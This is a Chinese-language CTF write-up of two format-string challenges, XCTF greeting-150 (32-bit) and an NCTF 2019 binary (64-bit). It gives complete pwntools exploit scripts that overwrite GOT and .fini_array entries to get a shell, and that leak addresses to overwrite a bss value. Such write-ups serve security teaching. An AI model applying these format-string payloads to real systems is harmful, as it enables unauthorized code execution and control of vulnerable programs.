32位

基于xctf中的greeting-150
题目地址
查看保护

Arch:     i386-32-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

32位程序,并且没开PIE
放进ida反编译

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)  
{
char s; // [esp+1Ch] [ebp-84h]
char v5; // [esp+5Ch] [ebp-44h]
unsigned int v6; // [esp+9Ch] [ebp-4h]

v6 = __readgsdword(0x14u);
printf("Please tell me your name... ");
if ( !getnline(&v5, 64) )
return puts("Don't ignore me ;( ");
sprintf(&s, "Nice to meet you, %s :)\n", &v5);
return printf(&s);

挺短的程序,最后有一个格式化字符串漏洞
整理思路,漏洞利用完了之后程序结束,所以我们要令程序能进行下一次循环
查看getnline()函数

1
2
3
4
5
6
7
8
9
10
size_t __cdecl getnline(char *s, int n)
{
char *v3; // [esp+1Ch] [ebp-Ch]

fgets(s, n, stdin);
v3 = strchr(s, 10);
if ( v3 )
*v3 = 0;
return strlen(s);
}

发现strlen(s) 则可以把strlen()在got表地址改为system函数地址,在第二次输入’/bin/sh’
使程序可循环利用,通过参考资料发现,在程序结束后还要调用.fini_array表里的所有指针。
则可以.fini_array表里的某一个指针地址指向main函数地址,实现二次循环。
1
main_addr=0x80485ED
system_addr=0x8048490
寻找偏移
2
由于之前打印18个字节,所以前两个AA是为了补齐字节
则偏移为12
构造payload

1
2
3
4
5
6
7
8
9
payload='aa'
payload+=p32(strlen_got+2)
payload+=p32(fini_got+2)
payload+=p32(strlen_got)
payload+=p32(fini_got)
payload+="%2016c%12$hn"
payload+="%13$hn"
payload+="%31884c%14$hn"
payload+="%96c%15$hn"

为了防止输入的字符太多,两个字节两个字节的修改,因为字符越加越多,所以优先写入地址小的
strlen_got+2写入system函数的高四位0x804
fini_got+2写入main函数的高四位0x804
strlen_got写入system函数的低四位0x8490
fini_got写入main函数的低四位0x85ED
打印’Nice to meet you, payload’
len(Nice to meet you, )=18
第一个要补充的字符数为=0x804-4*4-2-18=2016
第二个不需要补充,因为前面已经有0x804个字符了
第三个=0x8490-12-6-18-pianyi1=31884
第四个=0x84f0-pianyi3-pianyi2-36=96
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
#p=process('./greeting-150')
p=remote('111.198.29.45',48527)
elf=ELF('./greeting-150')

strlen_got=elf.got['strlen']

#gdb.attach(p)


fini_got=0x08049934

main_addr=0x80484f0
system_addr=0x8048490
#pianyi1=0x804-16-2-18=2016
#pianyi2=0x8490-12-6-18-pianyi1=31884
#pianyi3=0x84f0-pianyi3-pianyi2-36=96
payload='aa'
payload+=p32(strlen_got+2)
payload+=p32(fini_got+2)
payload+=p32(strlen_got)
payload+=p32(fini_got)
payload+="%2016c%12$hn"
payload+="%13$hn"
payload+="%31884c%14$hn"
payload+="%96c%15$hn"

#print payload,'\n'
p.sendlineafter('name...',payload)
p.sendline("sh")

p.interactive()

64位

大抵来说跟32位没多大区别,主要就是64下函数调用约定的原因前六个参数被放入寄存器去了,
所以就导致了栈顶位置的偏移为6。
题为2019年nctf的一道
题目地址
还是检查下程序,

1
2
3
4
5
6
7
8
9
10
unsigned __int64 sub_C54()
{
char dest; // [rsp+0h] [rbp-40h]
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
strncpy(&dest, src, 0x10uLL);
printf(&dest, src);
return __readfsqword(0x28u) ^ v2;
}

在C54函数里,我们发现strncpy完之后程序打印出了莫名其妙的东西(当时做题时一直以为这个没用,挺僵硬的)

原因为strncpy结束后没有’\x00’,导致程序接着往下打印,思考如果我们提前把拷贝的下面字节写入我们想要的格式化字符时。
不就实现了泄露的目的了吗

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 sub_B30()
{
char buf; // [rsp+0h] [rbp-40h]
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("welcome to play nctf!");
puts("a little different,have fun.");
puts("but your name:");
read(0, &buf, 0x30uLL);
return __readfsqword(0x28u) ^ v2;
}

在这个函数里,我们发现buf的地址为rbp-40h,C54函数的dest也是rbp-40h,strncpy写入了0x10个字节
于是构造buf='A'*0x10+'%p'就可以实现泄露地址。
思路就是这样
由于这题给了system(/bin/sh),只是让你改一个值为0x66666666即可,所以我们要泄露的是一个数据段的地址
gdb查看偏移

这个是我们想要的结果,计算偏移为15

1
2
3
4
p.recvuntil('0x')
libc_data=int(p.recv(12),16)-0xccd
print 'libc_data',hex(libc_data)
bss_data=libc_data+0x2020E0

利用这个来找出我们想要更改数据的地址bss_data
利用第二个格式化字符串漏洞来修改bss_data的值

如图所示

1
2
payload2='%26201c%10$hn%11$hn'.rjust(32,'a')+p64(bss_data)+p64(bss_data+2)
p.sendlineafter('what do you want?\n',payload2)

其中 26201=0x6666-(32-len(‘%26201c%10$hn%11$hn’))
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p=process('./pwn_me_2')
gdb.attach(p)
payload1='A'*0x10+'%15$p'
p.sendlineafter('but your name:\n',payload1)

p.recvuntil('0x')
libc_data=int(p.recv(12),16)-0xccd
print 'libc_data',hex(libc_data)
bss_data=libc_data+0x2020E0
payload2='%26201c%10$hn%11$hn'.rjust(32,'a')+p64(bss_data)+p64(bss_data+2)

p.sendlineafter('what do you want?\n',payload2)

p.interactive()